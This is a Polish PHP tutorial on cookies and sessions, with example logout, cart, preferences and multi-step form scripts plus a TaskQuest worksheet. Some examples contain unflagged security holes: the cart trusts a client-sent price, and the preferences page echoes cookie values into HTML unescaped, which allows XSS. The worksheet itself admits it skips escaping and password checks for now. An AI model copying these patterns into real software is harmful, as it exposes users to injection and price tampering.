logout.php:

<?php
session_start();

// Wyloguj użytkownika
$_SESSION = [];

// Usuń cookie z SID
if (isset($_COOKIE[session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}

// Zniszcz sesję
session_destroy();

header('Location: login.php');
exit;

2. Koszyk zakupowy

<?php
session_start();

// Inicjalizuj koszyk jeśli nie istnieje
if (!isset($_SESSION['cart'])) {
    $_SESSION['cart'] = [];
}

// Dodaj produkt
if (isset($_POST['add_to_cart'])) {
    $product = [
        'id' => $_POST['product_id'],
        'name' => $_POST['product_name'],
        'price' => (float)$_POST['product_price'],
        'quantity' => 1
    ];
    
    // Sprawdź czy produkt już jest w koszyku
    $found = false;
    foreach ($_SESSION['cart'] as &$item) {
        if ($item['id'] === $product['id']) {
            $item['quantity']++;
            $found = true;
            break;
        }
    }
    
    if (!$found) {
        $_SESSION['cart'][] = $product;
    }
}

// Usuń produkt
if (isset($_POST['remove_from_cart'])) {
    $removeId = $_POST['product_id'];
    $_SESSION['cart'] = array_filter($_SESSION['cart'], fn($item) => $item['id'] !== $removeId);
    $_SESSION['cart'] = array_values($_SESSION['cart']); // Prze-indeksuj tablicę
}

// Oblicz sumę
$total = 0;
foreach ($_SESSION['cart'] as $item) {
    $total += $item['price'] * $item['quantity'];
}
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Koszyk</title>
    <style>
        body { font-family: Arial; max-width: 800px; margin: 50px auto; padding: 20px; }
        table { width: 100%; border-collapse: collapse; }
        th, td { padding: 10px; text-align: left; border-bottom: 1px solid #ddd; }
        .total { font-size: 20px; font-weight: bold; margin-top: 20px; text-align: right; }
        button { padding: 5px 10px; cursor: pointer; }
    </style>
</head>
<body>
    <h1>Koszyk zakupowy</h1>
    
    <?php if (empty($_SESSION['cart'])): ?>
        <p>Koszyk jest pusty</p>
    <?php else: ?>
        <table>
            <thead>
                <tr>
                    <th>Produkt</th>
                    <th>Cena</th>
                    <th>Ilość</th>
                    <th>Wartość</th>
                    <th>Akcja</th>
                </tr>
            </thead>
            <tbody>
                <?php foreach ($_SESSION['cart'] as $item): ?>
                    <tr>
                        <td><?= htmlspecialchars($item['name']) ?></td>
                        <td><?= number_format($item['price'], 2) ?> zł</td>
                        <td><?= $item['quantity'] ?></td>
                        <td><?= number_format($item['price'] * $item['quantity'], 2) ?> zł</td>
                        <td>
                            <form method="POST" style="display: inline;">
                                <input type="hidden" name="product_id" value="<?= $item['id'] ?>">
                                <button type="submit" name="remove_from_cart">Usuń</button>
                            </form>
                        </td>
                    </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
        
        <div class="total">
            Suma: <?= number_format($total, 2) ?> zł
        </div>
    <?php endif; ?>
    
    <hr>
    
    <h2>Dodaj produkt</h2>
    <form method="POST">
        <input type="hidden" name="product_id" value="<?= uniqid() ?>">
        <input type="text" name="product_name" placeholder="Nazwa produktu" required>
        <input type="number" name="product_price" placeholder="Cena" step="0.01" required>
        <button type="submit" name="add_to_cart">Dodaj do koszyka</button>
    </form>
</body>
</html>

3. Preferencje użytkownika w cookies

<?php
// Obsługa formularza - zapis preferencji
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $theme = $_POST['theme'] ?? 'light';
    $fontSize = $_POST['font_size'] ?? 'medium';
    $language = $_POST['language'] ?? 'pl';
    
    // Zapisz na 365 dni
    $expires = time() + (365 * 24 * 60 * 60);
    setcookie('theme', $theme, $expires, '/', '', false, true);
    setcookie('font_size', $fontSize, $expires, '/', '', false, true);
    setcookie('language', $language, $expires, '/', '', false, true);
    
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

// Odczytaj preferencje
$theme = $_COOKIE['theme'] ?? 'light';
$fontSize = $_COOKIE['font_size'] ?? 'medium';
$language = $_COOKIE['language'] ?? 'pl';

// Mapowanie rozmiarów czcionek
$fontSizes = [
    'small' => '14px',
    'medium' => '16px',
    'large' => '20px'
];
?>

<!DOCTYPE html>
<html lang="<?= $language ?>">
<head>
    <meta charset="UTF-8">
    <title>Preferencje</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            font-size: <?= $fontSizes[$fontSize] ?>;
            padding: 20px;
            max-width: 800px;
            margin: 0 auto;
        }
        body.light {
            background: #ffffff;
            color: #000000;
        }
        body.dark {
            background: #1a1a1a;
            color: #ffffff;
        }
        form {
            background: rgba(128, 128, 128, 0.1);
            padding: 20px;
            border-radius: 5px;
            margin: 20px 0;
        }
        label {
            display: block;
            margin: 10px 0 5px;
            font-weight: bold;
        }
        select {
            padding: 8px;
            width: 200px;
        }
        button {
            margin-top: 15px;
            padding: 10px 20px;
            background: #007bff;
            color: white;
            border: none;
            cursor: pointer;
            border-radius: 4px;
        }
        .current {
            background: rgba(0, 123, 255, 0.1);
            padding: 15px;
            border-radius: 5px;
            margin: 20px 0;
        }
    </style>
</head>
<body class="<?= $theme ?>">
    <h1>Twoje preferencje</h1>
    
    <div class="current">
        <h3>Aktualne ustawienia:</h3>
        <p>Motyw: <strong><?= $theme === 'light' ? 'Jasny' : 'Ciemny' ?></strong></p>
        <p>Rozmiar czcionki: <strong><?= ucfirst($fontSize) ?></strong></p>
        <p>Język: <strong><?= $language === 'pl' ? 'Polski' : 'English' ?></strong></p>
    </div>
    
    <form method="POST">
        <label>Motyw:</label>
        <select name="theme">
            <option value="light" <?= $theme === 'light' ? 'selected' : '' ?>>Jasny</option>
            <option value="dark" <?= $theme === 'dark' ? 'selected' : '' ?>>Ciemny</option>
        </select>
        
        <label>Rozmiar czcionki:</label>
        <select name="font_size">
            <option value="small" <?= $fontSize === 'small' ? 'selected' : '' ?>>Mała</option>
            <option value="medium" <?= $fontSize === 'medium' ? 'selected' : '' ?>>Średnia</option>
            <option value="large" <?= $fontSize === 'large' ? 'selected' : '' ?>>Duża</option>
        </select>
        
        <label>Język:</label>
        <select name="language">
            <option value="pl" <?= $language === 'pl' ? 'selected' : '' ?>>Polski</option>
            <option value="en" <?= $language === 'en' ? 'selected' : '' ?>>English</option>
        </select>
        
        <button type="submit">Zapisz preferencje</button>
    </form>
    
    <p><small>Preferencje są przechowywane w ciasteczkach przez 365 dni</small></p>
</body>
</html>

4. Wieloetapowy formularz z sesjami

step1.php:

<?php
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $_SESSION['step1'] = [
        'imie' => trim($_POST['imie']),
        'nazwisko' => trim($_POST['nazwisko']),
        'email' => trim($_POST['email']),
        'telefon' => trim($_POST['telefon'])
    ];
    header('Location: step2.php');
    exit;
}

// Zachowaj wartości jeśli użytkownik wraca
$data = $_SESSION['step1'] ?? [];
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Rejestracja - Krok 1/3</title>
    <style>
        body { font-family: Arial; max-width: 600px; margin: 50px auto; padding: 20px; }
        .progress { background: #e0e0e0; height: 20px; border-radius: 10px; margin-bottom: 30px; }
        .progress-bar { background: #007bff; height: 100%; border-radius: 10px; width: 33%; }
        input { display: block; width: 100%; padding: 10px; margin: 10px 0; box-sizing: border-box; }
        button { padding: 10px 20px; background: #007bff; color: white; border: none; cursor: pointer; }
    </style>
</head>
<body>
    <h1>Rejestracja - Krok 1/3</h1>
    <h2>Dane osobowe</h2>
    
    <div class="progress">
        <div class="progress-bar"></div>
    </div>
    
    <form method="POST">
        <label>Imię:</label>
        <input type="text" name="imie" value="<?= htmlspecialchars($data['imie'] ?? '') ?>" required>
        
        <label>Nazwisko:</label>
        <input type="text" name="nazwisko" value="<?= htmlspecialchars($data['nazwisko'] ?? '') ?>" required>
        
        <label>Email:</label>
        <input type="email" name="email" value="<?= htmlspecialchars($data['email'] ?? '') ?>" required>
        
        <label>Telefon:</label>
        <input type="tel" name="telefon" value="<?= htmlspecialchars($data['telefon'] ?? '') ?>" pattern="[0-9]{9}" placeholder="123456789">
        
        <button type="submit">Dalej</button>
    </form>
</body>
</html>

step2.php:

<?php
session_start();

// Sprawdź czy krok 1 został wypełniony
if (!isset($_SESSION['step1'])) {
    header('Location: step1.php');
    exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $_SESSION['step2'] = [
        'ulica' => trim($_POST['ulica']),
        'miasto' => trim($_POST['miasto']),
        'kod' => trim($_POST['kod'])
    ];
    header('Location: step3.php');
    exit;
}

$data = $_SESSION['step2'] ?? [];
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Rejestracja - Krok 2/3</title>
    <style>
        body { font-family: Arial; max-width: 600px; margin: 50px auto; padding: 20px; }
        .progress { background: #e0e0e0; height: 20px; border-radius: 10px; margin-bottom: 30px; }
        .progress-bar { background: #007bff; height: 100%; border-radius: 10px; width: 66%; }
        input { display: block; width: 100%; padding: 10px; margin: 10px 0; box-sizing: border-box; }
        button { padding: 10px 20px; background: #007bff; color: white; border: none; cursor: pointer; margin-right: 10px; }
        .back { background: #6c757d; }
    </style>
</head>
<body>
    <h1>Rejestracja - Krok 2/3</h1>
    <h2>Adres</h2>
    
    <div class="progress">
        <div class="progress-bar"></div>
    </div>
    
    <form method="POST">
        <label>Ulica i numer:</label>
        <input type="text" name="ulica" value="<?= htmlspecialchars($data['ulica'] ?? '') ?>" required>
        
        <label>Miasto:</label>
        <input type="text" name="miasto" value="<?= htmlspecialchars($data['miasto'] ?? '') ?>" required>
        
        <label>Kod pocztowy:</label>
        <input type="text" name="kod" value="<?= htmlspecialchars($data['kod'] ?? '') ?>" pattern="[0-9]{2}-[0-9]{3}" placeholder="00-000" required>
        
        <button type="submit">Dalej</button>
        <a href="step1.php"><button type="button" class="back">Wstecz</button></a>
    </form>
</body>
</html>

step3.php:

<?php
session_start();

// Sprawdź czy poprzednie kroki zostały wypełnione
if (!isset($_SESSION['step1']) || !isset($_SESSION['step2'])) {
    header('Location: step1.php');
    exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Zapisz dane (np. do bazy danych lub pliku)
    $allData = array_merge($_SESSION['step1'], $_SESSION['step2']);
    
    // Tutaj zapis do bazy/pliku
    // saveUserData($allData);
    
    // Wyczyść sesję
    unset($_SESSION['step1']);
    unset($_SESSION['step2']);
    
    header('Location: success.php');
    exit;
}

$data = array_merge($_SESSION['step1'], $_SESSION['step2']);
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Rejestracja - Krok 3/3</title>
    <style>
        body { font-family: Arial; max-width: 600px; margin: 50px auto; padding: 20px; }
        .progress { background: #e0e0e0; height: 20px; border-radius: 10px; margin-bottom: 30px; }
        .progress-bar { background: #28a745; height: 100%; border-radius: 10px; width: 100%; }
        .summary { background: #f8f9fa; padding: 20px; border-radius: 5px; margin: 20px 0; }
        button { padding: 10px 20px; background: #28a745; color: white; border: none; cursor: pointer; margin-right: 10px; }
        .back { background: #6c757d; }
    </style>
</head>
<body>
    <h1>Rejestracja - Krok 3/3</h1>
    <h2>Podsumowanie</h2>
    
    <div class="progress">
        <div class="progress-bar"></div>
    </div>
    
    <div class="summary">
        <h3>Dane osobowe:</h3>
        <p>Imię: <?= htmlspecialchars($data['imie']) ?></p>
        <p>Nazwisko: <?= htmlspecialchars($data['nazwisko']) ?></p>
        <p>Email: <?= htmlspecialchars($data['email']) ?></p>
        <p>Telefon: <?= htmlspecialchars($data['telefon']) ?></p>
        
        <h3>Adres:</h3>
        <p>Ulica: <?= htmlspecialchars($data['ulica']) ?></p>
        <p>Miasto: <?= htmlspecialchars($data['miasto']) ?></p>
        <p>Kod pocztowy: <?= htmlspecialchars($data['kod']) ?></p>
    </div>
    
    <form method="POST">
        <button type="submit">Zatwierdź rejestrację</button>
        <a href="step2.php"><button type="button" class="back">Wstecz</button></a>
    </form>
</body>
</html>

Zadania praktyczne

Zadanie 1: System „Nie pokazuj więcej”

Stwórz stronę z popup’em, który pojawia się tylko raz. Po kliknięciu „Nie pokazuj więcej” zapisz informację w cookie na 30 dni.

Wymagania:

  • Popup wyświetla się na środku ekranu
  • Szare tło (overlay) pod popup’em
  • Przycisk „Zamknij” – zamyka na tę sesję
  • Checkbox „Nie pokazuj więcej” – zamyka na 30 dni

Zadanie 2: Prosty koszyk z sesjami

Stwórz koszyk zakupowy wykorzystujący sesje:

  • Lista produktów z cenami
  • Przycisk „Dodaj do koszyka”
  • Wyświetlanie zawartości koszyka
  • Zmiana ilości produktów
  • Usuwanie produktów
  • Obliczanie sumy

Zadanie 3: System logowania z „Zapamiętaj mnie”

Stwórz system logowania:

  • Formularz login/hasło
  • Checkbox „Zapamiętaj mnie”
  • Sesja dla zalogowanego użytkownika
  • Cookie z tokenem na 30 dni (jeśli zaznaczono „Zapamiętaj”)
  • Automatyczne logowanie przy kolejnej wizycie
  • Bezpieczne wylogowanie

Zadanie 4: Licznik unikalnych odwiedzin

Stwórz licznik, który:

  • Zlicza każde wejście na stronę (sesja)
  • Ale liczy użytkownika tylko raz dziennie (cookie)
  • Wyświetla: „Dzisiaj odwiedziło nas X użytkowników”
  • Resetuje licznik o północy

Zadanie 5: Preferencje użytkownika

Stwórz stronę z formularzem preferencji:

  • Wybór motywu (jasny/ciemny)
  • Wybór rozmiaru czcionki (mała/średnia/duża)
  • Wybór języka (PL/EN)
  • Zapisz w cookies na rok
  • Zastosuj preferencje na całej stronie

TaskQuest 1.4 — aplikacja pamięta użytkownika

KARTA PRACY

Po Lekcji 13 TaskQuest przyjmuje zadania z formularza. Ale każde żądanie zaczyna się od zera: skrypt kończy działanie po wysłaniu strony i niczego nie pamięta. Dlatego w Lekcji 13 musieliśmy iść na skróty — komunikat „Zadanie zostało dodane.” jechał w adresie (?dodano=1), wybrany widok listy znikał przy wejściu na stronę bez ?filtr=..., a $imieUzytkownika i $login były wpisane na sztywno w index.php.

Dziś TaskQuest dostaje pamięć między żądaniami: sesję po stronie serwera i ciasteczka (cookies) po stronie przeglądarki. Dzięki nim aplikacja wie, kto z niej korzysta, pokazuje komunikat dokładnie raz i pamięta ulubiony widok listy.

Cel lekcji

Nauczyć TaskQuest:

  • zapamiętywać dane w przeglądarce użytkownika (setcookie(), $_COOKIE) i rozumieć, że cookie to dane od użytkownika,
  • zapamiętywać dane na serwerze (session_start(), $_SESSION) i rozumieć, jak serwer rozpoznaje „tę samą” przeglądarkę (identyfikator sesji PHPSESSID),
  • logować użytkownika (wersja demonstracyjna: login + imię, bez hasła) i wpuszczać na strony aplikacji tylko zalogowanych,
  • wylogowywać — usuwać dane sesji, ciasteczko sesji i samą sesję,
  • pokazywać komunikat jednorazowy (zapisz w sesji → przekieruj → odczytaj i usuń),
  • pamiętać wybrany widok listy przez 30 dni w cookie,
  • świadomie wybierać: co trzymać w sesji, a co w cookie.

Efekt: wejście na index.php bez logowania przenosi na nową stronę zaloguj.php. Po podaniu poprawnego loginu i imienia użytkownik widzi swoją stronę główną („Witaj, Ola!”, „Zalogowano jako Ola_2026”), przycisk „Wyloguj” i jednorazowy komunikat. Komunikat „Zadanie zostało dodane.” znika po odświeżeniu i nie da się go wywołać adresem. Wybrany widok listy (np. „aktywne”) zostaje zapamiętany także po zamknięciu przeglądarki.

Uwaga — co jest, a czego jeszcze nie ma:

  • Logowanie jest demonstracyjne: nie ma kont ani haseł. Każdy, kto poda poprawny login, „wchodzi”. Wszyscy użytkownicy widzą tę samą listę z data/zadania.csv i te same symulowane XP i streak. Uczymy się dziś mechanizmu „aplikacja pamięta, kto jest zalogowany” — konta z hasłami (password_hash()) pojawią się razem z bazą danych (Lekcja 19), a prawdziwe logowanie — w Lekcji 22.
  • Nadal nie używamy htmlspecialchars() (Lekcja 22). Imię wpisane przy logowaniu trafia na stronę tak samo jak tytuł zadania w Eksperymencie 5 z Lekcji 13.
  • Opcje bezpieczeństwa ciasteczek (httponly, secure, samesite) i ochronę przed CSRF tylko sygnalizujemy — to temat Lekcji 22.
  • Dane grywalizacji ($xp, $streak, $dataOstatniejAktywnosci) nadal są symulowane w index.php.

Rozgrzewka — 4 pytania z Lekcji 13

Odpowiedz z pamięci, zanim zaczniesz:

  1. Użytkownik wysłał formularz dodawania zadania i nacisnął F5. Co by się stało bez przekierowania po zapisie? Jak nazywa się wzorzec, który temu zapobiega?
  2. Dlaczego w index.php najpierw „zawężamy” $filtr do trzech wartości, a dopiero potem używamy go w match?
  3. Dlaczego header('Location: ...') musi się wykonać, zanim strona wypisze jakikolwiek HTML? Po co zaraz za nim jest exit?
  4. Komunikat „Zadanie zostało dodane.” można wywołać, wpisując ręcznie index.php?dodano=1. Dlaczego?

1. Wracamy do naszego TaskQuest

Wszystkie funkcje z Lekcji 1–13 zostają bez zmian w kodzie. Zmienne $imieUzytkownika i $login zostają — zmienia się tylko to, skąd biorą wartość: zamiast tekstu wpisanego w kod — z sesji zalogowanego użytkownika. Funkcja walidujLogin() z Lekcji 8 wreszcie sprawdzi login, który naprawdę wpisał użytkownik.

Docelowa struktura projektu

taskquest/
├── index.php                        (zmiana: sesja, tylko dla zalogowanych, dane użytkownika z sesji,
│                                     przycisk „Wyloguj”, komunikat z sesji, widok listy zapamiętany w cookie)
├── dodaj-zadanie.php                (zmiana: sesja, tylko dla zalogowanych, komunikat w sesji zamiast ?dodano=1)
├── zaloguj.php                      NOWY — formularz logowania (login + imię)
├── wyloguj.php                      NOWY — kończy sesję (tylko POST), bez własnego HTML
├── diagnostyka.php                  (zmiana: trzy nowe pozycje na liście wymaganych plików)
├── config/
│   └── config.php                   (zmiana: nowa stała CZAS_PAMIETANIA_WIDOKU)
├── includes/
│   ├── header.php                   bez zmian
│   ├── footer.php                   (zmiana: "TaskQuest 1.4")
│   ├── funkcje_grywalizacji.php     bez zmian
│   ├── funkcje_tekstowe.php         (zmiana: nowa funkcja walidujDaneLogowania() na końcu pliku)
│   ├── funkcje_terminow.php         bez zmian
│   ├── funkcje_zadan.php            bez zmian
│   ├── funkcje_sesji.php            NOWY — czyZalogowany(), wymagajLogowania(), ustawKomunikat(), pobierzKomunikat()
│   ├── funkcje_diagnostyczne.php    bez zmian
│   └── funkcje_plikow.php           bez zmian
└── data/
    └── zadania.csv                  bez zmian

Co gdzie trafi

PlikCo się zmienia
includes/funkcje_sesji.phpnowy plik: cztery małe funkcje obsługujące sesję
includes/funkcje_tekstowe.phpwalidujDaneLogowania() — korzysta z istniejącej walidujLogin()
zaloguj.phpnowa strona: formularz, walidacja (schemat z Lekcji 13), zapis do sesji
wyloguj.phpnowy skrypt: czyści i niszczy sesję, przekierowuje
index.php, dodaj-zadanie.phpsession_start(), wpuszczanie tylko zalogowanych, komunikat jednorazowy; w index.php także cookie widoku
config/config.phpstała z czasem pamiętania widoku
includes/footer.php, diagnostyka.phpnumer wersji, nowe pliki na liście wymaganych

Przygotowanie (zrób to teraz)

  1. Zrób kopię zapasową katalogu taskquest/ z Lekcji 13 — jako taskquest_lekcja13/ (obok, nie w środku). Przyda się do testu regresji.
  2. Zrób kopię data/zadania.csv poza katalogiem projektu (jak w Lekcji 13).
  3. Sprawdź, czy index.php działa, a diagnostyka.php pokazuje 12 × [OK].
  4. Otwórz narzędzia deweloperskie (F12) i znajdź miejsce, w którym przeglądarka pokazuje ciasteczka: w Chrome/Edge karta Aplikacja (Application) → Pliki cookie (Cookies) → http://localhost; w Firefoksie karta Dane (Storage) → Ciasteczka. Będziesz tam zaglądać przez całą lekcję.

2. Problem w aplikacji

Kama dodała zadanie i zobaczyła zieloną ramkę. Po chwili odświeżyła stronę — ramka nadal jest. Wysłała koledze link index.php?dodano=1 — u niego też „dodano zadanie”, choć nic nie dodał. Potem przełączyła listę na „aktywne”, dodała kolejne zadanie i… po powrocie na stronę główną znowu widzi wszystkie. A powitanie „Witaj, Kama!” widzi każdy, kto otworzy TaskQuest — także Ola, bo imię jest wpisane w kodzie.

Wszystkie trzy problemy mają jedną przyczynę:

żądanie 1: POST dodaj-zadanie.php  → skrypt kończy się, zmienne znikają
żądanie 2: GET  index.php          → nowy skrypt od zera — nie wie nic o żądaniu 1
żądanie 3: GET  index.php (F5)     → znowu od zera

Protokół HTTP jest bezstanowy: serwer nie pamięta poprzednich żądań. Jeśli aplikacja ma coś pamiętać między nimi, informacja musi być gdzieś przechowana:

  • w przeglądarce — i dołączana przez nią do każdego żądania (cookie),
  • na serwerze — a przeglądarka nosi tylko „numerek szatni”, po którym serwer znajduje właściwe dane (sesja).

Potrzebujemy:

  1. żeby TaskQuest wiedział, kto z niego korzysta — i nie wpuszczał nikogo, kto się nie przedstawił,
  2. żeby komunikat pojawił się dokładnie raz,
  3. żeby wybrany widok listy był zapamiętany, nawet po zamknięciu przeglądarki.

3. Nowy mechanizm PHP: cookies i sesje

BRUDNOPIS. Cała sekcja 3 i 4 dzieje się w plikach brudnopis.php i brudnopis2.php w katalogu taskquest/. To pliki do eksperymentów, nie część aplikacji.

3.1 Każde żądanie zaczyna od zera

Wpisz do brudnopis.php:

<?php

$licznik = 0;
$licznik++;

echo "Licznik: $licznik";

Odśwież stronę kilka razy. Zawsze 1. Nie ma w tym nic dziwnego — przy każdym żądaniu PHP uruchamia skrypt od pierwszej linii, więc $licznik za każdym razem zaczyna od 0. Zmienne PHP żyją tylko przez czas jednego żądania. Żeby licznik rósł, jego wartość musi przetrwać poza skryptem.

3.2 Cookie — pamięć po stronie przeglądarki

Cookie (ciasteczko) to krótki tekst z nazwą, który serwer prosi przeglądarkę o zapamiętanie. Przeglądarka dołącza go potem do każdego kolejnego żądania do tej samej strony:

PRZEGLĄDARKA                                            SERWER
     │  GET brudnopis.php                                  │
     │ ──────────────────────────────────────────────────► │  setcookie('licznik', '1', ...)
     │  odpowiedź + nagłówek  Set-Cookie: licznik=1         │
     │ ◄────────────────────────────────────────────────── │
     │                                                     │
     │  (przeglądarka zapisuje: licznik=1)                  │
     │                                                     │
     │  GET brudnopis.php  + nagłówek  Cookie: licznik=1    │
     │ ──────────────────────────────────────────────────► │  $_COOKIE['licznik'] → "1"

W PHP:

  • setcookie(nazwa, wartość, wygaśnięcie) — prosi przeglądarkę o zapisanie ciasteczka,
  • $_COOKIE — tablica ciasteczek, które przeglądarka przysłała w tym żądaniu (budowa jak $_GET i $_POST),
  • time() — aktualny czas jako liczba sekund od 1 stycznia 1970 r. Czas wygaśnięcia podajemy jako „teraz + ile sekund”, np. time() + 60 * 60 * 24 * 7 to tydzień.

Zmień brudnopis.php:

<?php

$licznik = $_COOKIE['licznik'] ?? '0';
$licznik = (int) $licznik + 1;

setcookie('licznik', $licznik, time() + 60 * 60);

echo "Licznik: $licznik";

Odświeżaj — licznik rośnie. Otwórz F12 → Pliki cookie → http://localhost: jest ciasteczko licznik z wartością i datą wygaśnięcia (za godzinę). W F12 → Sieć kliknij żądanie brudnopis.php i znajdź w nagłówkach odpowiedzi Set-Cookie, a w nagłówkach żądania — Cookie.

Pięć rzeczy, które trzeba wiedzieć o ciasteczkach:

  1. setcookie() wysyła nagłówek — tak jak header() z Lekcji 13. Musi się wykonać przed jakąkolwiek treścią strony. Inaczej: Warning: Cannot modify header information - headers already sent (Eksperyment 1).

  2. $_COOKIE zawiera to, co przyszło z przeglądarką w tym żądaniu. Ciasteczko ustawione przez setcookie() pojawi się w $_COOKIE dopiero w następnym żądaniu (Eksperyment 2). Dlatego w przykładzie wyżej wypisujemy zmienną $licznik, a nie $_COOKIE['licznik'].

  3. Wartość ciasteczka to zawsze tekst (jak wszystko, co przychodzi od przeglądarki) i jest mała — ok. 4 KB na ciasteczko.

  4. Bez trzeciego parametru ciasteczko jest „sesyjne przeglądarki” — znika po zamknięciu przeglądarki. Z czasem wygaśnięcia — żyje do tego czasu, także po restarcie komputera. (Uwaga: przeglądarka z opcją „Kontynuuj tam, gdzie skończyłem” potrafi przywrócić także ciasteczka „do zamknięcia” — nie zdziw się w testach.)

  5. Usunięcie ciasteczka = ustawienie go jeszcze raz z czasem w przeszłości. Przeglądarka sama je wtedy wyrzuca:setcookie('licznik', '', time() - 3600);

  6. Ciasteczko jest przypisane do domeny (i ścieżki) — strona localhost nie widzi ciasteczek innych stron, a inne strony nie widzą ciasteczek localhost.

3.3 Cookie jest w rękach użytkownika

Otwórz F12 → Pliki cookie, kliknij dwukrotnie wartość ciasteczka licznik i wpisz 1000. Odśwież stronę: Licznik: 1001. Teraz wpisz abc i odśwież: Licznik: 1 — bo (int) "abc" to 0.

Ciasteczko leży na komputerze użytkownika. Użytkownik może je obejrzeć, zmienić, usunąć albo wysłać dowolne inne — tak samo jak mógł dopisać w adresie ?filtr=abc. Dlatego:

$_COOKIE traktujemy dokładnie tak jak $_GET i $_POST — jak dane od użytkownika. Odczyt przez ??, a przed użyciem sprawdzenie (regex, lista dozwolonych wartości).

Z tego wynika też, czego w cookie nie przechowujemy: niczego, od czego zależy, kim jest użytkownik albo co mu wolno. Gdyby TaskQuest trzymał login w ciasteczku login=Kama_2026, każdy mógłby wpisać sobie w F12 cudzy login i „zostać” Kamą. Do tego potrzebujemy pamięci, której użytkownik nie może edytować — sesji.

3.4 Sesja — pamięć po stronie serwera

Sesja to dane przechowywane na serwerze, przypisane do jednej przeglądarki. Przeglądarka dostaje tylko losowy identyfikator — jak numerek w szatni. Kurtka (dane) wisi w szatni (na serwerze), a z numerkiem można ją odebrać.

1. index.php: session_start()
   └─ przeglądarka nie ma numerka → PHP losuje identyfikator, np. "k3j9f0a2b7..."
      └─ wysyła ciasteczko  PHPSESSID=k3j9f0a2b7...
         └─ na serwerze powstaje plik  sess_k3j9f0a2b7...  (tu PHP zapisze $_SESSION)

2. dodaj-zadanie.php: session_start()
   └─ przeglądarka przysłała PHPSESSID=k3j9f0a2b7...
      └─ PHP otwiera plik sess_k3j9f0a2b7... i wypełnia nim $_SESSION
         └─ po zakończeniu skryptu zapisuje $_SESSION z powrotem do pliku

W PHP:

  • session_start() — uruchamia sesję: odczytuje identyfikator z ciasteczka (albo tworzy nowy) i wypełnia tablicę $_SESSION. Musi się znaleźć na początku każdego skryptu, który korzysta z sesji — przed jakąkolwiek treścią strony (wysyła ciasteczko, czyli nagłówek).
  • $_SESSION — zwykła tablica asocjacyjna. Co do niej zapiszesz, PHP sam zachowa do następnego żądania tej samej przeglądarki.

Wpisz do brudnopis.php:

<?php

session_start();

$_SESSION['imie'] = 'Kama';
$_SESSION['xp'] = 99;
$_SESSION['zadania'] = ['Nauka PHP', 'Powtórka SQL'];

echo "Zapisano do sesji.";

a do brudnopis2.php:

<?php

session_start();

echo '<pre>';
var_dump($_SESSION);
echo '</pre>';

echo "Imię z sesji: " . ($_SESSION['imie'] ?? '(brak)');

Najpierw otwórz brudnopis.php, potem brudnopis2.php. Drugi plik zna dane zapisane przez pierwszy, choć nie ma w nim żadnego $_SESSION['imie'] = .... Zwróć uwagę na typy w var_dump(): xp jest int(99), a zadania to tablica — sesja zachowuje typy (w przeciwieństwie do cookie, gdzie wszystko jest tekstem).

Teraz sprawdź, gdzie te dane leżą:

  1. F12 → Pliki cookie: jest ciasteczko PHPSESSID z długim, losowym tekstem. Tylko tyle przeglądarka wie o sesji.
  2. Otwórz katalog C:\xampp\tmp (w XAMPP-ie tam trafiają sesje; jeśli używasz innego serwera, wypisz w brudnopisie session_save_path()). Znajdź plik sess_ + wartość PHPSESSID i otwórz go w edytorze. Zobaczysz mniej więcej: imie|s:4:"Kama";xp|i:99;zadania|a:2:{...}. To są Twoje dane — na serwerze.

Użytkownik może zmienić wartość PHPSESSID w F12, ale wtedy nie „przerobi” swoich danych — po prostu poda numerek, do którego nie ma kurtki (PHP utworzy nową, pustą sesję). Danych w sesji nie zmieni inaczej niż przez strony naszej aplikacji. Dlatego to, co my sami zapisaliśmy w $_SESSION, możemy traktować jako zaufane — w odróżnieniu od $_COOKIE.

Ile żyje sesja? Ciasteczko PHPSESSID domyślnie znika po zamknięciu przeglądarki, a PHP co jakiś czas usuwa pliki sesji, których nikt nie używał dłużej niż 24 minuty (ustawienie session.gc_maxlifetime w php.ini, domyślnie 1440 sekund). Sesja to pamięć na czas korzystania z aplikacji, nie na zawsze.

3.5 Usuwanie danych z sesji

Co chcemy usunąćJak
jeden elementunset($_SESSION['imie']); — tak samo jak element każdej tablicy
wszystkie dane, ale zostawić sesję$_SESSION = [];
całą sesję (wylogowanie)trzy kroki poniżej
session_start();

$_SESSION = [];                                    // 1. dane w pamięci skryptu

if (isset($_COOKIE[session_name()])) {             // 2. numerek w przeglądarce
    setcookie(session_name(), '', time() - 3600, '/');
}

session_destroy();                                 // 3. plik sesji na serwerze

session_name() zwraca nazwę ciasteczka sesji — domyślnie PHPSESSID. Czwarty parametr setcookie() to ścieżka ('/'): ciasteczko sesji PHP domyślnie jest ustawiane dla całej domeny, więc usuwając je, musimy podać tę samą ścieżkę. (Nasze własne ciasteczka ustawiamy bez ścieżki — przeglądarka przypisuje je wtedy katalogowi, w którym leży skrypt, czyli taskquest/. Wszystkie strony TaskQuest leżą w tym katalogu, więc to nam wystarcza.)

Dopisz na końcu brudnopis2.php kroki 1–3 (bez ponownego session_start() — już jest na górze pliku) i otwórz go. Dane jeszcze się wypiszą (bo var_dump() jest wyżej), ale potem: w F12 ciasteczko PHPSESSID zniknęło, a w C:\xampp\tmp zniknął plik sesji. Otwórz brudnopis2.php jeszcze raz: tablica jest pusta, a w F12 pojawił się PHPSESSID z innym identyfikatorem — to nowa, pusta sesja.

3.6 Cookie czy sesja?

 CookieSesja
gdzie leżą danew przeglądarce użytkownikana serwerze (przeglądarka ma tylko PHPSESSID)
kto może je zmienićużytkownik — dowolnietylko nasz kod PHP
typy danychtylko tekst, ok. 4 KBdowolne wartości PHP (liczby, bool, tablice)
jak długodo podanej daty (nawet miesiące) albo do zamknięcia przeglądarkina czas korzystania z aplikacji
kiedy widać zapisdopiero w następnym żądaniuod razu (to zwykła tablica)
